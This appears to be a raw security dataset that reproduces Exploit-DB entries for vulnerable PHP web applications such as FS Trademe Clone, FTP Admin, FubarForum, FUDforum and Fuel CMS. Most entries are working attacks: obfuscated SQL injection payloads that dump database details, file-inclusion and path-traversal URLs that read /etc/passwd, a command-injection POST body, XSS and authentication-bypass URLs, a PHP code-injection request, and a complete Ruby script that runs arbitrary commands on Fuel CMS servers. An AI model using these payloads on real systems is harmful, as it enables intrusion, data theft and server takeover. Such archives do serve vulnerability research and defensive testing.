deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43240
Description: FS Thumbtack Clone 1.0 - 'cat' / 'sc' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FS Thumbtack Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/thumbtack-clone/
# Demo: http://thumbtack-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/browse-category.php?cat=[SQL]
# 
# -91a87ff679a2f3e71d9181a67b7542122c'++/*!22222UNION*/(/*!22222SELECT*/(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(3),(4))--+-
# 
# http://server/browse-category.php?cat=-91a87ff679a2f3e71d9181a67b7542122c'++/*!22222UNION*/(/*!22222SELECT*/(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(3),(4))--+-
# 
# 
# 2)
# http://localhost/[PATH]/browse-scategory.php?sc=[SQL]
# 
# -34202cb962ac59075b964b07152d234b70'++/*!22222UNION*/+/*!22222SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9--+-
# 
# http://server/browse-scategory.php?sc=-34202cb962ac59075b964b07152d234b70'++/*!22222UNION*/+/*!22222SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9--+-
# 
# # # # #
Exploit-DB #43048
Description: FS Trademe Clone - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-24
Author: 8bitsec

Exploit:
# Exploit Title: FS Trademe Clone - 'id' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/trademe-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
This is possibly the only software solution to facilitate launching of a portal with features like auction, eCommerce, B2B, Real Estate, Job Portal and classifieds all in one similar to Trademe.

Technical Details & Description:
================================

SQL injection on [id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/property_details.php?id=12 AND 3616=3616

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=12 AND 3616=3616
    
==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43260
Description: FS Trademe Clone 1.0 - 'search' / 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FS Trademe Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/trademe-clone/
# Demo: http://trademe-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/search_item.php?search=[SQL]
# 
# s'++UNION+ALL+SELECT+1,2,3,4,5,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),7,8,9,10,11,12,13,14--+-
# 
# http://server/search_item.php?search=s'++UNION+ALL+SELECT+1,2,3,4,5,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),7,8,9,10,11,12,13,14--+-
# 
# 2)
# http://localhost/[PATH]/general_item_details.php?id=[SQL]
# 
# -34++UNION+ALL+SELECT+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
# 
# http://server/general_item_details.php?id=-34++UNION+ALL+SELECT+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
# 
# # # # #
Exploit-DB #9821
Description: FSphp 0.2.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-24
Author: NoGe

Exploit:
[o] FSphp 0.2.1 Multiple Remote File Inclusion Vulnerability
Software : FSphp version 0.2.1
Vendor   : http://fsphp.sourceforge.net/
Download : http://sourceforge.net/projects/fsphp/
Author   : NoGe
Home     : http://antisecurity.org/

[o] Vulnerable file
include_once $FSPHP_LIB . "/path.php" ;

lib/FSphp.php
lib/navigation.php
lib/pathwirte.php

[o] Exploit
http://localhost/[path]/lib/FSphp.php?FSPHP_LIB=[evilc0de]
http://localhost/[path]/lib/navigation.php?FSPHP_LIB=[evilc0de]
http://localhost/[path]/lib/pathwirte.php?FSPHP_LIB=[evilc0de]
Exploit-DB #22202
Description: FTLS Guestbook 1.1 - Script Injection
Type: webapps
Platform: php
Date: 2003-01-25
Author: BrainRawt

Exploit:
source: https://www.securityfocus.com/bid/6686/info

Guestbook does not adequately filter HTML tags from various fields. This may enable an attacker to inject arbitrary script code into pages that are generated by the guestbook.

The attacker's script code may be executed in the web client of arbitrary users who view the pages generated by the guestbook, in the security context of the website running the software.

The following proof of concept was provided by inserting malicious HTML code into the Title, Name and Comment fields:

<script>alert('test')</script>
Exploit-DB #4681
Description: ftp Admin 0.1.0 - Local File Inclusion / Cross-Site Scripting / Authentication Bypass
Type: webapps
Platform: php
Date: 2007-11-29
Author: Omni

Exploit:
FTP Admin v0.1.0 - MULTIPLE VULNERABILITIES
	by Omni

1) Infos
---------
Date            : 2007-11-28
Product         : FTP Admin
Version         : v0.1.0
Vendor          : http://sourceforge.net/projects/ftpadmin/
Vendor Status   : 2007-11-30 Informed!

Description     : FTP admin is a web-based user administration tool, for usage in combination with vsftpd. FTP admin
                  requires sudo. Features include modification of users and generation of user passwords.

Source          : omnipresent - omni
E-mail          : omnipresent[at]NOSPAMemail[dot]it - omni[at]NOSPAMplayhack[dot]net
Team            : Playhack.net Security

2) Security Issues
-------------------

--- [ XSS ] ---
===============================================

I think that is better let you see a PoC instead of explain where is the bug.. If you want to know it just look at the 
source code.

--- [ PoC ] ---
===============

http://localhost/ft/index.php?page=error&error=<b>...</b>
http://localhost/ft/index.php?page=error&error=<script>alert(1)</script>


--- [ Local File Inclusion ] ---
================================

Take a look in index.php, line 49:
include("$page.php");

Remembe that you have to log in to made local file inclusion (loggedin = true -> register_global = On)

[ Remembe that ]
if(!is_file($page . ".php") || (!is_readable($page . ".php"))) {
		$page = "error";
		$error = "Page does not exist or is not readable\n";
	}
}
[ /Remembe that ]

--- [ PoC ] ---
===============

http://localhost/ft/index.php?page=pass.txt%00&loggedin=true

To see pass.txt ...

--- [ Admin Bypass ] ---
================================

Today I'm too lazy to explain what's wrong.. so take a look in the source code and watch the var $loggedin !!

--- [ PoC ] ---
===============

To add a user...

http://localhost/ft/index.php?page=add&loggedin=true

# milw0rm.com [2007-11-29]
Exploit-DB #41270
Description: FTP Made Easy PRO 1.2 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2017-02-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FTP Made Easy PRO Script v1.2 - Arbitrary File Download
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/ftp-made-easy-pro-php-multiple-ftp-manager-client-with-code-editor/17460747
# Demo: http://demos.nelliwinne.net/FTPMadeEasyPRO/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# http://localhost/[PATH]/download.php?id=[FILE]
# # # # #
Exploit-DB #42570
Description: FTP Made Easy PRO 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FTP Made Easy PRO 1.2 - SQL Injection
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Link: https://codecanyon.net/item/ftp-made-easy-pro-php-multiple-ftp-manager-client-with-code-editor/17460747
# Demo: http://codecanyon.nelliwinne.net/FTPMadeEasyPRO/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/admin-ftp-del.php?id=[SQL]
# http://localhost/[PATH]/admin-ftp-change.php?id=[SQL]
#
# 755'AnD+(/*!44455sEleCT*/+0x31+/*!44455FrOM*/+(/*!44455sEleCT*/+cOUNT(*),/*!44455CoNCAt*/((/*!44455sEleCT*/(/*!44455sEleCT*/+/*!44455CoNCAt*/(cAst(dATABASE()+As+char),0x7e,0x496873616E53656e63616e))+/*!44455FrOM*/+infOrMation_schEma.tables+/*!44455WherE*/+table_schema=dATABASE()+limit+0,1),floor(raND(0)*2))x+/*!44455FrOM*/+infOrMation_schEma.tABLES+/*!44455gROUP*/+bY+x)a)+aND+''='
#
# Etc..
# # # # #
Exploit-DB #45054
Description: FTP2FTP 1.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2018-07-18
Author: AkkuS

Exploit:
# Exploit Title: FTP2FTP 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 18.07.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The "download2.php" is vulnerable in the admin panel.
The attacker can download and read all files known by the name via 'id' parameter.

====================================================


# Vuln file : /FTP2FTP/download2.php

1.  <?php
2.  $file = "tempFiles2/".$_GET['id'];
3.
4.
5.  if (file_exists($file)) {
6.     header('Content-Description: File Transfer');
7.     header('Content-Type: application/octet-stream');
8.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
9.     header('Expires: 0');
10.    header('Cache-Control: must-revalidate');
11.    header('Pragma: public');
12.    header('Content-Length: ' . filesize($file));
13.    readfile($file);
14.    exit;
15. }
16. ?>

# PoC : http://sitenet/FTP2FTP/download2.php?id=../index.php
Exploit-DB #7214
Description: ftpzik - Cross-Site Scripting / Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-24
Author: JIKO

Exploit:
-------------------------------------------------------------------------
  --          JIKO FroM No-exploit.Com        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-exploit.Com
# Script  : FTPZIK ->>http://www.bladi.13.fr/dm-up/ftpzik.zip

=========================JIkI Team===================
# Exploit  :
               http://no-exploit.com
			    [name of file iwthout php]
  http://no-exploit.com/[script]/?p=cat&c=../
  http://no-exploit.com/[script]/?p=cat&c=<br>jiko <script>alert(11)</script>
  http://no-exploit.com/[script]/inc/cat.php?c=<br>jiko <script>alert(11)</script>
  http://no-exploit.com/[script]/inc/content.php?p=[file]
  http://no-exploit.com/[script]/?p=[file]

=========================JIKI Team===================
 greetz : all my friend and all No-exploit members and 
 $ Gold_M $ Cochlain $ Hassin X $ cyber-zone $ r00t c0d3r $ HiSoKa $ MizoZ $ The-PunisheR
 all muslims
 visit:  ==> www.no-exploit.Com
 Visit: My-montada.Co.cc For your free Forum
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------
------==        troops of Mohamed comming inchalah     =-----------------
Ana muslim , Ana 3arabi , Ana Magribi , bladi maroc

# milw0rm.com [2008-11-24]
Exploit-DB #7731
Description: fttss 2.0 - Remote Command Execution
Type: webapps
Platform: php
Date: 2009-01-11
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]
   
 ##############################################################
 #  [ fttss <= 2.0 ]  Remote Command Execution Vulnerability  #
 ##############################################################
 #
 # Script: "A Free Text-To-Speech System"
 #
 # Script site: http://fttss.sourceforge.net/
 # Download: http://sourceforge.net/projects/fttss/
 #
 # [RCE] Vuln: http://site.com/fttss/TFLivre.php
 #	
 # 	POST /fttss/TFLivre.php HTTP/1.1
 #	
 #	Host: site.com
 #	User-Agent: Mozilla/5.0
 #	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 #	Accept-Language: pl,en-us;q=0.7,en;q=0.3
 #	Accept-Encoding: gzip,deflate
 #	Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
 #	Keep-Alive: 300
 #	Connection: keep-alive
 #	Content-Type: application/x-www-form-urlencoded
 #	Content-Length: 41
 #	
 #	texto_original=a&voz=|uname -a>/tmp/dupa;
 #	
 # HTTP/1.x 200 OK
 # Date: Sun, 11 Jan 2009 16:24:57 GMT
 # Server: Apache
 # X-Powered-By: PHP/5.2.8-pl1-gentoo
 # Content-Length: 1731
 # Keep-Alive: timeout=15, max=100
 # Connection: Keep-Alive
 # Content-Type: text/html
 #     
 # Bug: ./fttss_v2.0/TFLivre.php (line: 110)
 #
 # ...
 #		exec("./mbrola-linux-i386 -e ".$_POST[voz]." $dirsaida/saida.txt ".$nome_som.".wav"); //$dirsaida/saida".$npid.".wav");
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2009 ] 

*******************************************************************************************

# milw0rm.com [2009-01-11]
Exploit-DB #5872
Description: FubarForum 1.5 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-20
Author: cOndemned

Exploit:
###################################################################################
#
#   Name   : FubarForum v1.5 Local File Inclusion Vulnerability
#   Author : cOndemned
#   Dork   : for ex. "Powered by FubarForum v1.5"
#   Greetz : TBH, GregStar, ZaBeaTy, irk4z, Hawk, Sandtalker & Avantura ;*
#
###################################################################################

Source :

    // index.php

    5.  if (!empty($_GET['page'])) { $page = $_GET['page']; }       // <---- $page is being sended using GET method

    91. if (file_exists("./".$page.".php")) {       // <---- if only the file exists and we can use null byte (%00)
    
    98. include("./".$page.".php");                 // <---- our file will be included here :))
    
PoC :
    
    http://[host]/[fubarforum_path]/index.php?page=../../../../etc/passwd%00
    http://[host]/[fubarforum_path]/index.php?page=../../../../[local_file]%00
    
###################################################################################
#
#   Together We stand tall, not gonna crash, not gonna fall - Children of Bodom
#
###################################################################################

# milw0rm.com [2008-06-20]
Exploit-DB #7595
Description: FubarForum 1.6 - Arbitrary Authentication Bypass
Type: webapps
Platform: php
Date: 2008-12-28
Author: k3yv4n

Exploit:
                                                                                             
                                                                                                                    in the name of god

                                                                                                          ..:: jj_nanak2000@yahoo.com ::.. 


                                                                                                                      Tanx from : Expl0its 



Script : FubarForum

Version : 1.6

Dork : "Powered by FubarForum v1.6"

/forum/index.php?page=admin

# milw0rm.com [2008-12-28]
Exploit-DB #7606
Description: FubarForum 1.6 - Authentication Bypass Change User Password
Type: webapps
Platform: php
Date: 2008-12-29
Author: R31P0l

Exploit:
..:: R31P0l[at]hotmail.com ::.. 


Tanx from : str0ke 


Script : FubarForum

Version : 1.6

Dork : "Powered by FubarForum v1.6"

/forum/index.php?page=profile&user_id=1

Greetz to:
# Corenamed, Unsecured, Esedark, pax0r, zrallter, th0r... and TerminalHacker

# milw0rm.com [2008-12-29]
Exploit-DB #38418
Description: FUDforum - Multiple Remote PHP Code Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2013-04-03
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/58845/info

FUDforum is prone to multiple vulnerabilities that attackers can leverage to execute arbitrary PHP code because the application fails to adequately sanitize user-supplied input.

Attackers may exploit these issues to execute arbitrary PHP code within the context of the affected application. Successful attacks can compromise the affected application and possibly the underlying computer.

FUDforum 3.0.4 is vulnerable; other versions may also be affected. 

POST /adm/admreplace.php HTTP/1.1
Host: fudforum
Referer: http://www.example.com/fudforum/adm/admreplace.php?&SQ=8928823a5edf50cc642792c2fa4d8863
Cookie: fud_session_[PII_REDACTED]=11703687e05757acb08bb3891f5b2f8d
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
SQ=8928823a5edf50cc642792c2fa4d8863&rpl_replace_opt=0&btn_submit=Add&btn_regex=1&edit=&regex_ str=(.*)&regex_str_opt=e&regex_with=phpinfo()
Exploit-DB #40803
Description: FUDforum 3.0.6 - Local File Inclusion
Type: webapps
Platform: php
Date: 2016-11-21
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    FUDforum 3.0.6
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://fudforum.org/forum/
Vulnerability Type:  LFI
Remote Exploitable:  Yes
Reported to vendor:  04/11/2016
Disclosed to public: 11/10/2016
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to local file inclusion. This allows an attacker to read arbitrary files that
the web user has access to.

Admin credentials are required.

3. Details

CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N

Description: The "file" parameter of the hlplist.php script is vulnerable to
directory traversal, which allows the viewing of arbitrary files.

Proof of Concept:

http://localhost/fudforum/adm/hlplist.php?tname=default&tlang=./af&&SQ=
4b181ea1d2d40977c7ffddb8a48a4724&file=../../../../../../../../../../etc/passwd

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-LFI-167.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Exploit-DB #49943
Description: FUDForum 3.1.0 - 'author' Reflected XSS
Type: webapps
Platform: php
Date: 2021-06-03
Author: Piyush Patil

Exploit:
# Exploit Title: FUDForum 3.1.0 - 'author' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: http://fudforum.org/
# Software Link: https://sourceforge.net/projects/fudforum/files/FUDforum_3.1.0.zip/download
# Version: FUDForum 3.1.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27520

-Description:
A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "author" parameter.


-Payload used:
y" onmouseover=alert(2) y="

-Steps to reproduce:
1- goto https://localhost/fudforum/index.php?t=search&
2- In the "Filter by User" search option, paste XSS payload
3- Hover your mouse to "y" and XSS will get triggered
Exploit-DB #49942
Description: FUDForum 3.1.0 - 'srch' Reflected XSS
Type: webapps
Platform: php
Date: 2021-06-03
Author: Piyush Patil

Exploit:
# Exploit Title: FUDForum 3.1.0 - 'srch' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: http://fudforum.org/
# Software Link: https://sourceforge.net/projects/fudforum/files/FUDforum_3.1.0.zip/download
# Version: FUDForum 3.1.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27519

-Description:
A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "srch" parameter.


-Payload used:
x" onmouseover=alert(1) x="

-Steps to reproduce:
1- goto https://localhost/fudforum/index.php?t=search&
2- In "forum search" option, paste XSS payload
3- Hover your mouse to "x" and XSS will get triggered
Exploit-DB #49487
Description: Fuel CMS 1.4.1 - Remote Code Execution (2)
Type: webapps
Platform: php
Date: 2021-01-28
Author: Alexandre ZANNI

Exploit:
# Title: Fuel CMS 1.4.1 - Remote Code Execution (2)
# Exploit Author: Alexandre ZANNI
# Date: 2020-11-14
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu 16.04
# CVE : CVE-2018-16763
# References: https://www.exploit-db.com/exploits/47138

#!/usr/bin/env ruby

require 'httpclient'
require 'docopt'

# dirty workaround to ignore Max-Age
# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932
$VERBOSE = nil

doc = <<~DOCOPT
  Fuel CMS 1.4 - Remote Code Execution

  Usage:
    #{__FILE__} <url> <cmd>
    #{__FILE__} -h | --help

  Options:
    <url>         Root URL (base path) including HTTP scheme, port and root folder
    <cmd>         The system command to execute
    -h, --help    Show this screen

  Examples:
    #{__FILE__} http://example.org id
    #{__FILE__} https://example.org:8443/fuelcms 'cat /etc/passwd'
DOCOPT

def exploit(client, root_url, cmd)
  url = root_url + "/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'"

  res = client.get(url)

  /system(.+?)<div/mx.match(res.body).captures[0].chomp
end

begin
  args = Docopt.docopt(doc)
  clnt = HTTPClient.new
  puts exploit(clnt, args['<url>'], args['<cmd>'])
rescue Docopt::Exit => e
  puts e.message
end